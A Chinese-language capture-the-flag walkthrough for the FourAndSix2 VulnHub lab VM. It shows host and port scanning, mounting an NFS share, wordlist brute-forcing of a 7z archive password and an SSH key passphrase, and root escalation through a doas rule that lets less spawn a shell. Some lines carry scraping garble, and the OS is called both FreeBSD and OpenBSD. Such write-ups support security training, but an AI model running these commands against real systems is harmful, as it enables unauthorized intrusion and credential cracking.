FourAndSix2是易受攻擊的一個靶機,主要任務是經過入侵進入到目標靶機系統而後提權,並在root目錄中並讀取flag.tx信息git
FourAndSix2.鏡像下載地址:github
https://download.vulnhub.com/fourandsix/FourAndSix2.ovashell
1.存活主機掃描服務器
arp-scan -l
發現192.168.1.9是目標靶機系統less
2.端口探測dom
使用Nmap對靶機進行掃描ssh
nmap -A 192.168.1.9
查詢到開放的端口及服務:22-ssh、111-rpcbind、2049-nfs、612-mountdtcp
1.nfs漏洞利用編輯器
開放2049端口,nmap探測顯示爲nfs服務,使用metasploit進行掃描可掛載目錄ide
msf > use auxiliary/scanner/nfs/nfsmount msf auxiliary(scanner/nfs/nfsmount) > show options Module options (auxiliary/scanner/nfs/nfsmount): NameCurrent Setting Required Description ------------------- -------- ----------- PROTOCOLudp yes The protocol to use (Accepted: udp, tcp) RHOSTS yes The target address range or CIDR identifier RPORT111 yes The target port (TCP) THREADS1 yes The number of concurrent threads msf auxiliary(scanner/nfs/nfsmount) > set rhosts192.168.1.9 rhosts => 192.168.1.9 msf auxiliary(scanner/nfs/nfsmount) > run [+] 192.168.1.9:111 - 192.168.1.9 NFS Export: /home/user/storage [] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
也能夠利用showmount -e查看目標系統可掛載目錄
發現可掛載目錄/home/user/storage
經過mount名掛載目錄:
mkdir /tmp/storage mount -t nfs 192.168.1.9:/home/user/storage/tmp/storage
注意:有時候在kali系統中mount命令不能使用多是文件損壞了,須要從新更新安裝
apt-get install nfs-common
發現backup.7z這個壓縮包,使用7z e backup.7z嘗試解壓,提示須要密碼
2.backup.7z爆破
查找資料發現能夠用rarcrack對7z壓縮包進行爆破,rarcrack破解命令爲:
apt-get install rarcrack rarcrack --threads 4 --type 7z backup.7z
也可使用7z命令進行字典爆破
7z破解腳本:
https://raw.githubusercontent.com/exexute/PythonScaffold/PythonScaffold_0.1/enum_violence/file_enum/7z-crack.sh
其命令內容爲:
cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;break;fi;done
使用方法:
./7z-crack.shbackup.7z /usr/share/wordlists/rockyou.txt
最終,7z破解腳本成功破解到壓縮包密碼:chocolate
解壓backup.7z發現一堆圖片,以及id_rsa和id_rsa.pub
經過破解出來的密碼chocolate對.7z進行解壓,解壓後提取其內容,可發現一些圖片和RSA密鑰。因爲端口22在目標計算機上運行SSH服務,咱們可使用RSA私鑰登陸。打開RSA公鑰來查看用戶名。
因而猜想能夠經過公私鑰登陸服務器,將私鑰放到/root/.ssh目錄下,鏈接服務器
cp id_rsa /root/.ssh sshuser@192.168.1.9
咱們嘗試登陸ssh,但它要求密碼。所以,咱們建立了如下腳原本查找正確的私鑰密碼。
root@kali2018:/tmp/storage# cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt |while read pass;do if ssh-keygen -c -C "user@forandsix" -P $pass -f id_rsa &>/dev/null;then echo $pass; break; fi; done
爆破獲得密碼爲12345678
或者
root@kali2018:/tmp/storage# cat /usr/share/wordlists/rockyou.txt | while read line;do if ssh-keygen -p -P $line -N $line -f id_rsa 1>/dev/null 2>/dev/null;then echo "PASSWORD FOUND : "$line;break;fi;done;
經過破解成功的密碼進行遠程ssh登陸
進入shell後,發現當前系統是FreeBSD 6.4的,搜索以後發現內核沒有可提權的漏洞,因而將重點放在配置、文件和服務上。
查看當前用戶權限及系統信息
fourandsix2$ id uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel) fourandsix2$ uname -a OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64
咱們使用find命令來定位設置了SUID的文件或包。
find / -perm -u=s -type f 2>/dev/null
經過find命令咱們找到了suid權限運行的程序/usr/bin/doas,它是sudo命令的替代。doas是BSD系列系統下的權限管理工具,相似於Debian系列下的sudo命令
在閱讀「doas.conf」文件後,咱們發現「less」能夠以root身份運行。
查看/etc目錄,有doas.conf
fourandsix2$ cat /etc/doas.conf permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog permit nopass keepenv root as root
讓咱們查看配置文件並嘗試理解。Doas實用程序根據doas.conf配置文件中的規則以其餘用戶身份執行命令。
Permit/Deny:容許/拒絕規則
Nopass:用戶無需輸入任何密碼
Persist:用戶成功經過身份驗證後,請勿再次請求密碼驗證
Keepenv:維持用戶的環境
Cmd:容許命令運行
從doas.conf文件能夠看到,當前用戶可以以root權限使用less命令查看/var/log/authlog文件,而且不須要當前用戶密碼以及root密碼。
用doas /usr/bin/less /var/log/authlog查看日誌文件,而後直接按v,可進入編輯模式,可是會提示只讀,進入編輯模式後,能夠經過vi編輯器操做方式
doas /usr/bin/less /var/log/authlog
執行系統命令,即:!/bin/sh,此時便會提高到root權限
最後一步獲取falg信息,它在root目錄下。
經過ID查詢當前用戶權限爲root,而後使用cat flag.txt查看flag信息。
,